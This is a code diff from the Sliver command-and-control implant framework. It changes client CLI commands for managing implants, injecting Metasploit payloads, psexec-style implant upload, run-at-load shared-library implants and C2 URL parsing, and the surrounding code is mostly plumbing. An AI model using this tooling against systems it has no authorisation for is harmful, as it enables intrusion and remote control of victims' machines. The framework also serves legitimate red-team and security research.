fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if time.Now().Before(nextCheckin) {
|
||||
continue
|
||||
}
|
||||
delta := time.Now().Sub(nextCheckin)
|
||||
delta := time.Since(nextCheckin)
|
||||
if pruneDuration <= delta {
|
||||
pruneBeacons = append(pruneBeacons, beacon)
|
||||
}
|
||||
|
||||
+97
-21
@@ -63,6 +63,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/privilege"
|
||||
"github.com/bishopfox/sliver/client/command/processes"
|
||||
"github.com/bishopfox/sliver/client/command/reaction"
|
||||
"github.com/bishopfox/sliver/client/command/reconfig"
|
||||
"github.com/bishopfox/sliver/client/command/registry"
|
||||
"github.com/bishopfox/sliver/client/command/screenshot"
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
@@ -475,6 +476,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
|
||||
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
|
||||
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
|
||||
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
|
||||
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -503,6 +506,47 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.MultiplayerHelpGroup,
|
||||
})
|
||||
|
||||
// [ Reconfig ] ---------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ReconfigStr,
|
||||
Help: "Reconfigure the active beacon/session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "change implant name to")
|
||||
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
|
||||
f.String("i", "beacon-interval", "", "beacon callback interval")
|
||||
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
reconfig.ReconfigCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.RenameStr,
|
||||
Help: "Rename the active beacon/session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "change implant name to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
reconfig.RenameCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Sessions ] --------------------------------------------------------------
|
||||
|
||||
sessionsCmd := &grumble.Command{
|
||||
@@ -514,6 +558,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("k", "kill", "", "kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "kill all the sessions")
|
||||
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
|
||||
f.Bool("f", "force", false, "force session action without waiting for results")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -530,7 +575,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Kill all stale/dead sessions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
|
||||
f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -543,26 +588,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(sessionsCmd)
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ReconfigStr,
|
||||
Help: "Reconfigure the active session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "agent name to change to")
|
||||
f.Int("r", "reconnect", -1, "reconnect interval for agent")
|
||||
f.Int("p", "poll", -1, "poll interval for agent")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.SessionsReconfigCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.BackgroundStr,
|
||||
Help: "Background an active session",
|
||||
@@ -807,6 +832,30 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: "always-overflow",
|
||||
Help: "Disable table pagination",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsAlwaysOverflow(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: "small-terminal",
|
||||
Help: "Set the small terminal width",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsSmallTerm(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(settingsCmd)
|
||||
|
||||
// [ Info ] --------------------------------------------------------------
|
||||
@@ -1199,6 +1248,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1253,6 +1304,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1401,6 +1454,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1460,6 +1515,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1574,6 +1631,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// [ Filesystem ] ---------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.MvStr,
|
||||
Help: "Move or rename a file",
|
||||
LongHelp: help.GetHelpFor([]string{consts.MvStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("src", "path to source file")
|
||||
a.String("dst", "path to dest file")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
err := filesystem.MvCmd(ctx, con)
|
||||
return err
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.LsStr,
|
||||
Help: "List current directory",
|
||||
@@ -2089,6 +2164,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("k", "kill", "", "kill a beacon")
|
||||
f.Bool("K", "kill-all", false, "kill all beacons")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("f", "force", false, "force killing of the beacon")
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
|
||||
@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
outFilePath, _ = ioutil.TempFile("", outFile)
|
||||
}
|
||||
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
||||
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
|
||||
|
||||
var oldState *terminal.State
|
||||
var oldState *term.State
|
||||
if !noPty {
|
||||
oldState, err = terminal.MakeRaw(0)
|
||||
oldState, err = term.MakeRaw(0)
|
||||
log.Printf("Saving terminal state: %v", oldState)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save terminal state\n")
|
||||
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
|
||||
if !noPty {
|
||||
log.Printf("Restoring terminal state ...")
|
||||
terminal.Restore(0, oldState)
|
||||
term.Restore(0, oldState)
|
||||
}
|
||||
|
||||
log.Printf("Exit interactive")
|
||||
|
||||
@@ -33,8 +33,8 @@ import (
|
||||
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
|
||||
if pid == -1 {
|
||||
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMsfRemote - Print the results of the remote injection attempt
|
||||
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
|
||||
if msfRemote.Response == nil {
|
||||
con.PrintErrorf("Empty response from msf payload injection task")
|
||||
return
|
||||
}
|
||||
if msfRemote.Response.Err != "" {
|
||||
con.PrintInfof("Executed payload on target")
|
||||
} else {
|
||||
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
|
||||
}
|
||||
}
|
||||
@@ -25,14 +25,15 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if msfTask.Response != nil && msfTask.Response.Async {
|
||||
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, msfTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMsfRemote(msfTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(msfTask.Response)
|
||||
} else {
|
||||
con.PrintInfof("Executed payload on target\n")
|
||||
PrintMsfRemote(msfTask, con)
|
||||
}
|
||||
}
|
||||
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
|
||||
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
|
||||
filename := randomString(10)
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
|
||||
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
@@ -58,6 +59,7 @@ type ExtensionManifest struct {
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
@@ -171,8 +173,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
@@ -192,12 +195,15 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "short":
|
||||
case "int", "integer", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
default:
|
||||
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
|
||||
return
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
@@ -420,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
|
||||
// Parse BOF arguments from grumble
|
||||
for _, arg := range ext.Arguments {
|
||||
switch arg.Type {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
src := ctx.Args.String("src")
|
||||
if src == "" {
|
||||
con.PrintErrorf("Missing parameter: src\n")
|
||||
return
|
||||
}
|
||||
|
||||
dst := ctx.Args.String("dst")
|
||||
if dst == "" {
|
||||
con.PrintErrorf("Missing parameter: dst\n")
|
||||
return
|
||||
}
|
||||
|
||||
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
mv.Src, mv.Dst = src, dst
|
||||
|
||||
if mv.Response != nil && mv.Response.Async {
|
||||
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(mv.Response)
|
||||
} else {
|
||||
PrintMv(mv, con)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// PrintMv - Print the renamed file
|
||||
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
|
||||
if mv.Response != nil && mv.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mv.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
|
||||
}
|
||||
@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dst := remotePath
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
|
||||
@@ -258,6 +258,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
isShellcode := false
|
||||
|
||||
format := ctx.Flags.String("format")
|
||||
runAtLoad := false
|
||||
var configFormat clientpb.OutputFormat
|
||||
switch format {
|
||||
case "exe":
|
||||
@@ -265,6 +266,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
case "shared":
|
||||
configFormat = clientpb.OutputFormat_SHARED_LIB
|
||||
isSharedLib = true
|
||||
runAtLoad = ctx.Flags.Bool("run-at-load")
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
@@ -331,6 +333,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
IsSharedLib: isSharedLib,
|
||||
IsService: isService,
|
||||
IsShellcode: isShellcode,
|
||||
|
||||
RunAtLoad: runAtLoad,
|
||||
}
|
||||
|
||||
return config
|
||||
@@ -394,6 +398,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "mtls" {
|
||||
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
|
||||
}
|
||||
@@ -415,17 +422,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
if strings.HasPrefix(arg, "wg://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "wg" {
|
||||
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
|
||||
}
|
||||
@@ -458,6 +468,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "http" && uri.Scheme != "https" {
|
||||
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -487,6 +500,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "dns" {
|
||||
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -503,6 +519,9 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
arg = strings.ReplaceAll(arg, "\\", "/")
|
||||
arg = strings.TrimPrefix(arg, "/")
|
||||
arg = strings.TrimPrefix(arg, "/")
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "namedpipe://") {
|
||||
@@ -516,6 +535,21 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "namedpipe" {
|
||||
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(uri.Path, "/pipe/") {
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
|
||||
}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
|
||||
}
|
||||
}
|
||||
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -548,6 +582,9 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "tcppivot" {
|
||||
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
|
||||
}
|
||||
|
||||
@@ -100,6 +100,10 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
|
||||
con.Println()
|
||||
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
|
||||
con.Println()
|
||||
}
|
||||
|
||||
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
|
||||
|
||||
@@ -71,7 +71,7 @@ var (
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadMacrosHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
@@ -371,7 +371,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
|
||||
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
|
||||
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
|
||||
`
|
||||
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
